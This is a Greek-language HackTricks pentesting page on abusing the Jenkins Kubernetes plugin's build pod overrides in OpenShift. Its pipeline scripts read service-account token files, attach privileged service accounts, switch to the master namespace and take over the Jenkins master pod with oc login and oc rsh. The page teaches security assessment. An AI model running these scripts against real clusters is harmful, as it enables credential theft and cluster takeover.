Jenkins in Openshift - build pod overrides

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Ο αρχικός συγγραφέας αυτής της σελίδας είναι Fares

Kubernetes plugin για Jenkins

Αυτό το plugin είναι κυρίως υπεύθυνο για τις βασικές λειτουργίες του Jenkins μέσα σε ένα openshift/kubernetes cluster. Επίσημη τεκμηρίωση εδώ Προσφέρει μερικές λειτουργίες όπως η δυνατότητα στους προγραμματιστές να παρακάμψουν κάποιες προεπιλεγμένες ρυθμίσεις ενός jenkins build pod.

Βασική λειτουργικότητα

Αυτό το plugin επιτρέπει ευελιξία στους προγραμματιστές κατά την κατασκευή του κώδικά τους σε κατάλληλο περιβάλλον.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Ορισμένες καταχρήσεις που εκμεταλλεύονται την υπέρβαση yaml pod

Μπορεί ωστόσο να καταχραστεί για να χρησιμοποιήσει οποιαδήποτε προσβάσιμη εικόνα όπως το Kali Linux και να εκτελέσει αυθαίρετες εντολές χρησιμοποιώντας προεγκατεστημένα εργαλεία από αυτή την εικόνα. Στο παρακάτω παράδειγμα μπορούμε να εξάγουμε το token του serviceaccount του τρέχοντος pod.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Μια διαφορετική σύνταξη για να επιτευχθεί ο ίδιος στόχος.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Δείγμα για την αντικατάσταση του namespace του pod

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Ένα άλλο παράδειγμα που προσπαθεί να προσαρτήσει ένα serviceaccount (το οποίο μπορεί να έχει περισσότερες άδειες από το προεπιλεγμένο, που εκτελεί την κατασκευή σας) με βάση το όνομά του. Μπορεί να χρειαστεί να μαντέψετε ή να απαριθμήσετε πρώτα τα υπάρχοντα serviceaccounts.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Η ίδια τεχνική ισχύει για να προσπαθήσετε να προσαρτήσετε ένα Secret. Ο τελικός στόχος εδώ θα ήταν να κατανοήσετε πώς να διαμορφώσετε την κατασκευή του pod σας ώστε να μπορείτε να κάνετε pivot ή να αποκτήσετε δικαιώματα.

Πηγαίνοντας παραπέρα

Μόλις εξοικειωθείτε με αυτό, χρησιμοποιήστε τις γνώσεις σας σχετικά με το Jenkins και το Kubernetes/Openshift για να βρείτε κακοδιαμορφώσεις / καταχρήσεις.

Ρωτήστε τον εαυτό σας τις παρακάτω ερωτήσεις:

  • Ποιος λογαριασμός υπηρεσίας χρησιμοποιείται για την ανάπτυξη των build pods;
  • Ποιους ρόλους και δικαιώματα έχει; Μπορεί να διαβάσει τα μυστικά του namespace στο οποίο βρίσκομαι αυτή τη στιγμή;
  • Μπορώ να καταγράψω περαιτέρω άλλους build pods;
  • Από έναν συμβιβασμένο sa, μπορώ να εκτελέσω εντολές στον κύριο κόμβο/pod;
  • Μπορώ να καταγράψω περαιτέρω το cluster για να κάνω pivot αλλού;
  • Ποιο SCC έχει εφαρμοστεί;

Μπορείτε να βρείτε ποιες εντολές oc/kubectl να εκδώσετε εδώ και εδώ.

Πιθανά σενάρια privesc/pivoting

Ας υποθέσουμε ότι κατά την αξιολόγησή σας ανακαλύψατε ότι όλες οι κατασκευές jenkins εκτελούνται μέσα σε ένα namespace που ονομάζεται worker-ns. Διαπιστώσατε ότι ένας προεπιλεγμένος λογαριασμός υπηρεσίας που ονομάζεται default-sa είναι προσαρτημένος στα build pods, ωστόσο δεν έχει τόσα πολλά δικαιώματα εκτός από την πρόσβαση ανάγνωσης σε ορισμένους πόρους, αλλά καταφέρατε να εντοπίσετε έναν υπάρχοντα λογαριασμό υπηρεσίας που ονομάζεται master-sa. Ας υποθέσουμε επίσης ότι έχετε την εντολή oc εγκατεστημένη μέσα στο τρέχον build container.

Με το παρακάτω script κατασκευής μπορείτε να αποκτήσετε έλεγχο του λογαριασμού υπηρεσίας master-sa και να καταγράψετε περαιτέρω.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

Ανάλογα με την πρόσβασή σας, είτε πρέπει να συνεχίσετε την επίθεσή σας από το build script είτε μπορείτε να συνδεθείτε απευθείας ως αυτός ο sa στον τρέχοντα cluster:

oc login --token=$token --server=https://apiserver.com:port

Αν αυτό το sa έχει αρκετά δικαιώματα (όπως pod/exec), μπορείτε επίσης να αναλάβετε τον έλεγχο ολόκληρης της jenkins instance εκτελώντας εντολές μέσα στο pod του master node, αν εκτελείται μέσα στο ίδιο namespace. Μπορείτε εύκολα να εντοπίσετε αυτό το pod μέσω του ονόματός του και από το γεγονός ότι πρέπει να έχει mounted ένα PVC (persistant volume claim) που χρησιμοποιείται για την αποθήκευση δεδομένων jenkins.

oc rsh pod_name -c container_name

Σε περίπτωση που το pod του master node δεν εκτελείται μέσα στο ίδιο namespace με τους workers, μπορείτε να δοκιμάσετε παρόμοιες επιθέσεις στοχεύοντας το master namespace. Ας υποθέσουμε ότι ονομάζεται jenkins-master. Λάβετε υπόψη ότι το serviceAccount master-sa πρέπει να υπάρχει στο namespace jenkins-master (και μπορεί να μην υπάρχει στο namespace worker-ns).

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}



> [!TIP]
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Υποστηρίξτε το HackTricks</summary>
>
> - Δείτε τα [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή την [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>